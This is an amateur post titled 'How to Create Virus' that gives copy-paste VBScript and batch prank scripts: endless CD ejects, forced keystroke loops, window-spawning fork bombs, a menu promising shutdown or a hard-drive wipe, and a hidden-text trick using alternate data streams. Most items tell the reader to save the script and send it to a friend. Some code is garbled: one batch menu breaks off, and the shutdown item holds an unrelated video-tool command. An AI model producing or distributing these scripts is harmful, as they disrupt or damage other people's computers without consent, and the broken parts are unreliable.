How to Create Virus or some coding

Creation of Virus:-(Do not run its only education purpose)


(1) Your Cd/dvd drive Run automatic eject:-

Type code in txt file.
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject


Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject


Next
End If
wscript.sleep 5000
loop


Save it as "Anything.VBS" and send it.

(2) Keyboard Hack to make him type "You are foolish":-

Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

(3) keyboard Backspace run simultaneously:-

Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

(4) It asks your friend to choose a number between 1-5 and then does a certain action:
    1: Shutdown
    2: Restart
    3: Wipes out your hard drive (BEWARE)
    4: Net send
    5: Messages then shutdown

Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)


echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two


Save it as "Anything.BAT" and send it.

(5) Hide text inside your text file:-

* Open your command prompt Start–>Run type cmd
* Move to any destination for example let us assume D:\> drive
* Type the below code in your command prompt
* D:\>notepad syshacks.txt:hidden
* syshacks notepad save
* syshacks notepad hidden
* Write some data and save the file.
* Move to D:\> and open syshacks.txt you cannot see no data in the file syshacks.txt.
* To retrieve the hidden data open command prompt and type the same command.
* D:\>notepad syshacks.txt:hidden
* Notepad will open syshacks.txt file with hidden data

(6) Who virus that your cd/dvd drive auto run open/eject:-

Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If


Save it as "Anything.vbs" and send it.

(7) Code to shutdown computer:-
    Open NotePad And Write This:

Code:
avidemux2_cli --run j-1.js --run j-2.js --end
shutdown.exe -s -t 00

(8) Code to open many windows!
    Open NotePad And Write This:

Code:
start
start
start
[The Number of "start" e.x 3 start-->3 windows ,, more start.. more windows ^_^]

Save It  anyname.bat

(9) make your pc talk with notepad!
    Open a text file in notepad and write:-

Code:
Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text when u open the file, input the text and press ok."
u will hear what u typed

(10) simple Notepad virus
     Open NotePad And Write This:-

Code:
@echo off
:E
start cmd.exe
start calc.exe


Save It As anyname.bat.


By Manish